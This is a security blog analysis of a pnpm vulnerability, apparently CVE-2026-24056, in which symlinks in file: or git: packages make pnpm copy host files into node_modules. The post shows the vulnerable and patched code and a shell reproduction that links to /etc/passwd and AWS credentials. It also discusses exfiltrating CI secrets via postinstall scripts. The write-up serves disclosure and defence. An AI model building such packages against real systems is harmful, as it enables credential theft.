CVE-2026-24056

Symlink Shenanigans in pnpm: Leaking Host Files via CAFS

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·7 min read·5 visits

Executive Summary (TL;DR)

pnpm versions prior to 10.28.2 fail to correctly handle symbolic links when adding files from local directories or git repositories to its internal store. By using `fs.statSync` instead of `fs.lstatSync`, pnpm blindly follows symlinks, allowing an attacker to create a package that symlinks to `/etc/passwd` (or other sensitive files). When a victim installs this package, pnpm reads the target file and copies it into the project's `node_modules`, effectively exfiltrating local data.

A high-severity path traversal vulnerability in the pnpm package manager allows malicious packages (via `file:` or `git:` protocols) to read arbitrary files from the host system by abusing symbolic links during the ingestion process.

The Hook: The Disk-Saving Demon

pnpm has built its reputation on being the efficient, disk-saving alternative to npm. Its superpower lies in its Content-Addressable File Store (CAFS). Instead of duplicating node_modules for every project, pnpm stores a single copy of every file in a global store and hardlinks them into your project. It’s elegant, it’s fast, and it’s usually secure. But here's the irony: the very mechanism designed to efficiently ingest and deduplicate files is exactly what allowed attackers to siphon sensitive data off your hard drive.

At its core, a package manager is just a fancy file mover. It takes files from Source A (a registry, a git repo, or a local folder) and moves them to Destination B (your project). The security model relies entirely on the assumption that Source A only contains what it claims to contain. But what happens when Source A is a local directory containing a symbolic link that points outside of itself? If the package manager isn't paranoid, it might just follow that link like a lost puppy.

CVE-2026-24056 is precisely that scenario. It’s a classic failure of trust. When pnpm processes dependencies defined with the file: or git: protocol, it recursively walks the directory to add files to the CAFS. Due to a logical oversight in how file stats were retrieved, pnpm treated symlinks not as links, but as the files they pointed to. This means a package claiming to contain config.json could actually be serving up your ~/.ssh/id_rsa on a silver platter.

The Flaw: The `stat` vs `lstat` Catastrophe

To understand this vulnerability, you need to understand the subtle but deadly difference between two Node.js filesystem functions: fs.stat() and fs.lstat(). This is often the first lesson in "Secure Coding 101" for Node developers, yet it remains a persistent source of bugs in even the most mature projects. fs.stat() follows symbolic links transparently. If you run stat on a symlink, you get the metadata of the target file. fs.lstat(), on the other hand, looks at the link itself.

The vulnerability lived in @pnpm/store.cafs, specifically in the addFilesFromDir.ts module. This module's job is to walk a directory tree and ingest files. The developers implemented a recursive walk. When they encountered a file entry, they called fs.statSync(). The intention was likely just to check file sizes or permissions, but the side effect was catastrophic. By using statSync, the code implicitly authorized a traversal.

If an attacker places a symlink named innocent.txt pointing to /etc/passwd, fs.statSync('innocent.txt') returns the stats for /etc/passwd. Consequently, the subsequent fs.readFileSync() call—which also follows links by default—reads the contents of /etc/passwd. pnpm then hashes this content and happily stores it in its global cache as if it were a legitimate part of the package. The traversal doesn't require ../ characters in a path string; it utilizes the filesystem's own linking capability to jump out of the sandbox.

The Code: Anatomy of a Screw-up

Let's look at the smoking gun. The vulnerable code was deceptively simple. It looked like standard directory walking logic, which is why it likely survived code reviews. Here is the logic flow prior to the patch:

// Vulnerable logic in store/cafs/src/addFilesFromDir.ts
const absolutePath = path.join(dirname, relativePath);
// CRITICAL FLAW: blindly following links
const stat = fs.statSync(absolutePath);
const buffer = fs.readFileSync(absolutePath);

The fix required a fundamental shift in how files are inspected. The patch introduced fs.lstatSync to inspect the file type before deciding to read it, and a canonical path check using fs.realpathSync to ensure the target actually resides within the package boundary. Here is the remediation pattern:

// Fixed logic
import isSubdir from 'is-subdir';
 
// 1. Resolve the package root
const resolvedRoot = fs.realpathSync(dirname);
 
function getStatIfContained(absolutePath, rootDir) {
  // 2. Check the link itself, don't follow it yet
  const lstat = fs.lstatSync(absolutePath);
  
  if (lstat.isSymbolicLink()) {
    // 3. Resolve where the link goes
    const realPath = fs.realpathSync(absolutePath);
    // 4. The "Jail Check": Is the target inside our root?
    if (!isSubdir(rootDir, realPath)) {
      return null; // Block the traversal
    }
    return fs.statSync(realPath);
  }
  return lstat;
}

The addition of isSubdir is the critical guardrail. Even if a symlink exists, pnpm now verifies that the link resolves to a path inside the package directory. If it points to /etc/shadow, isSubdir returns false, and the file is ignored.

The Exploit: Leeching the Host

Exploiting this requires creating a malicious package that acts as a vacuum for host data. Since standard npm registries (like npmjs.com) strip symlinks during the publish process, this attack vector is restricted to file: and git: dependencies. This makes it highly effective for internal attacks or supply chain compromises where developers install dependencies from private git repositories.

Here is a step-by-step reproduction of the attack:

  1. The Trap: The attacker creates a git repository containing a symlink. They can target generic files likely to exist on a developer's machine or CI runner.

    mkdir malicious-pkg && cd malicious-pkg
    # Link to a sensitive file on the victim's machine
    ln -s /etc/passwd payload.txt
    # Or targeting AWS credentials
    ln -s ~/.aws/credentials aws-creds.txt
    echo '{"name":"malicious-pkg", "version":"1.0.0"}' > package.json
    git init && git add . && git commit -m "Initial commit"
  2. The Trigger: The victim installs this package using the git protocol.

    pnpm add git:./malicious-pkg
    # or
    pnpm add git+ssh://git@github.com/attacker/malicious-pkg.git
  3. The Exfiltration: During installation, pnpm resolves the symlink, reads the local file, and places a copy of it into the project's node_modules.

    cat node_modules/malicious-pkg/payload.txt
    # Output: root:x:0:0:root:/root:/bin/bash ...

Once the file is in node_modules, it can be exfiltrated via a postinstall script in the same package, which could curl the contents to an attacker-controlled server.

The Impact: CI/CD Nightmares

While targeting individual developers is fun, the real devastation occurs in CI/CD environments. Build servers often run with elevated privileges or have access to sensitive environment variables and configuration files. They are also notoriously promiscuous, pulling code from various repositories to build artifacts.

Imagine a scenario where a developer submits a Pull Request that adds a dependency to a "helper utility" hosted on a private git server. The CI pipeline runs pnpm install to prepare the build environment. The malicious helper package contains a symlink to /proc/self/environ or specific Kubernetes service account tokens located at /var/run/secrets/kubernetes.io/serviceaccount/token.

pnpm dutifully copies these secrets into the node_modules folder. The build process then creates an artifact (e.g., a Docker container or a zipped build) that includes node_modules. Now, the internal infrastructure secrets are embedded in the release artifact, potentially readable by anyone with read access to the registry. Even worse, if the attacker uses a postinstall script, they can egress those secrets immediately during the build process, bypassing the need to inspect artifacts.

The Fix: Plugging the Hole

The remediation is straightforward: update pnpm. The maintainers released version 10.28.2 to address this. This version enforces the boundary checks described in the code section above. If you are stuck on an older version of pnpm for legacy reasons, you are in a precarious position.

If you cannot upgrade immediately, your only defense is strict hygiene regarding dependency sources. Do not use file: or git: dependencies from untrusted sources. However, this is hard to enforce, as transitive dependencies can introduce these protocols without top-level awareness. The only robust fix is the patch.

For security teams, this serves as a reminder to audit pnpm-lock.yaml files. Look for specifiers that resolve to git URLs or local paths. These are your high-risk vectors. Standard version ranges (e.g., ^1.2.3) pulling from the npm registry are immune to this specific CVE, offering a small sigh of relief.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.7/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Systems

pnpm < 10.28.2Node.js development environmentsCI/CD pipelines using pnpm

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
< 10.28.210.28.2
AttributeDetail
CWE IDCWE-22 & CWE-59
Attack VectorLocal / User Interaction
CVSS v4.06.7 (Medium)
Affected Component@pnpm/store.cafs
Vulnerable FunctionaddFilesFromDir()
Protocol Vectorfile: and git:
CWE-59
Improper Link Resolution Before File Access

Improper Link Resolution Before File Access ('Link Following') leading to path traversal.

Vulnerability Timeline

Fix committed to master branch
2026-01-21
pnpm v10.28.2 released
2026-01-26
GHSA-m733-5w8f-5ggw published
2026-01-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.